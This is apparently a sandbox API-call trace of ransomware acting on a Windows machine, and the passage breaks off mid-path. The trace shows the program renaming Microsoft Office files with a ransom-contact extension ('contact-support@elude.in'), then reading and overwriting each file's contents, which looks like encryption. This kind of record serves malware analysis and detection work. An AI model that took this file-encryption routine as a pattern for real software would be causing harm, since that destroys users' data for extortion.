dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.373] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1466e4fb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50d09, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.hu.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0172.373] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0172.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\powerviewres.hu.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0172.373] GetProcessHeap () returned 0x630000 [0172.373] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdcf38 [0172.373] GetProcessHeap () returned 0x630000 [0172.373] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0172.373] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.373] ReadFile (in: hFile=0x6d8, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.697] GetProcessHeap () returned 0x630000 [0180.697] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0180.697] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.697] WriteFile (in: hFile=0x6d8, lpBuffer=0x717648*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.698] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.698] WriteFile (in: hFile=0x6d8, lpBuffer=0x722a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a47*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.699] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.699] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.699] CloseHandle (hObject=0x6d8) returned 1 [0180.700] GetProcessHeap () returned 0x630000 [0180.700] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0181.939] GetProcessHeap () returned 0x630000 [0181.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0181.939] GetProcessHeap () returned 0x630000 [0181.939] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0182.514] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14648313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x31a7de81, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50d2d, dwReserved0=0xc1c7496, dwReserved1=0x6fdcf30, cFileName="PowerViewRes.hu.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4f00 [0182.515] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0182.515] Sleep (dwMilliseconds=0x1) [0182.535] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS", len=0x3e | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS") returned 1 [0182.535] GetProcessHeap () returned 0x630000 [0182.535] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a68) returned 0x707d3d0 [0182.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.536] CloseHandle (hObject=0x698) returned 1 [0182.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4796e84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUNNY.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNNYC~1.FIR")) returned 0x6d4e40 [0182.537] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0182.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sunny.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.538] GetProcessHeap () returned 0x630000 [0182.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0182.538] GetProcessHeap () returned 0x630000 [0182.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0182.538] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.538] ReadFile (in: hFile=0x698, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x333ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.565] GetProcessHeap () returned 0x630000 [0182.565] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0182.565] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.565] WriteFile (in: hFile=0x698, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x333ff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.565] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.565] WriteFile (in: hFile=0x698, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0182.565] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.566] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0182.566] CloseHandle (hObject=0x698) returned 1 [0182.600] GetProcessHeap () returned 0x630000 [0182.600] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0182.601] GetProcessHeap () returned 0x630000 [0182.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0182.601] GetProcessHeap () returned 0x630000 [0182.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0182.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SUNNY.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4796e84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4796e84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x32c539bf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xc1c7496, dwReserved1=0x695ec8, cFileName="SUNNY.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUNNYC~1.FIR")) returned 0x6d5540 [0182.601] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0182.604] Sleep (dwMilliseconds=0x1) [0184.683] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS", len=0x47 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS") returned 1 [0184.683] GetProcessHeap () returned 0x630000 [0184.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a2c) returned 0x707d3d0 [0184.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0184.684] CloseHandle (hObject=0x410) returned 1 [0184.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0184.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0184.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e5f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKYPEFB_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKE5B0~1.FIR")) returned 0x6d5280 [0184.687] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0184.687] GetProcessHeap () returned 0x630000 [0184.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0184.687] GetProcessHeap () returned 0x630000 [0184.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0184.688] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.688] ReadFile (in: hFile=0x410, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0191.039] GetProcessHeap () returned 0x630000 [0191.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0191.039] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.039] WriteFile (in: hFile=0x410, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0192.354] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.354] WriteFile (in: hFile=0x410, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0192.354] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.354] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0192.354] CloseHandle (hObject=0x410) returned 1 [0192.354] GetProcessHeap () returned 0x630000 [0192.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0192.354] GetProcessHeap () returned 0x630000 [0192.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0192.355] GetProcessHeap () returned 0x630000 [0192.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0192.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0192.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x389a7e2d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e614, dwReserved0=0xc1c7496, dwReserved1=0x71c0040, cFileName="SKYPEFB_ONLINE.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKE5B0~1.FIR")) returned 0x6d5440 [0192.355] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0192.355] Sleep (dwMilliseconds=0x1) [0193.505] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", len=0x4b | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx") returned 1 [0193.505] GetProcessHeap () returned 0x630000 [0193.505] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47cc) returned 0x7133a90 [0193.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0193.569] CloseHandle (hObject=0x694) returned 1 [0193.569] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.263] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.263] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36007, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APOTHE~3.FIR")) returned 0x6d5280 [0200.264] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0200.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0200.264] GetProcessHeap () returned 0x630000 [0200.264] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5fc20 [0200.265] GetProcessHeap () returned 0x630000 [0200.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6b050 [0200.265] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.265] ReadFile (in: hFile=0x694, lpBuffer=0x6f5fc20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5fc20*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.566] GetProcessHeap () returned 0x630000 [0206.566] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0206.566] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.566] WriteFile (in: hFile=0x694, lpBuffer=0x6f6b050*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b050*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.567] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.567] WriteFile (in: hFile=0x694, lpBuffer=0x6f7644f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7644f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.670] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.670] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.670] CloseHandle (hObject=0x694) returned 1 [0208.670] GetProcessHeap () returned 0x630000 [0208.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f6b050 | out: hHeap=0x630000) returned 1 [0208.670] GetProcessHeap () returned 0x630000 [0208.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5fc20 | out: hHeap=0x630000) returned 1 [0208.670] GetProcessHeap () returned 0x630000 [0208.670] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0208.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4253b326, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3602b, dwReserved0=0xc1c7496, dwReserved1=0x6f5fc18, cFileName="ApothecaryResume.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APOTHE~3.FIR")) returned 0x6d4f00 [0208.670] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0208.670] Sleep (dwMilliseconds=0x1) [0210.575] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF", len=0x6d | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF") returned 1 [0210.575] GetProcessHeap () returned 0x630000 [0210.576] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e08) returned 0x6fe4288 [0210.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft 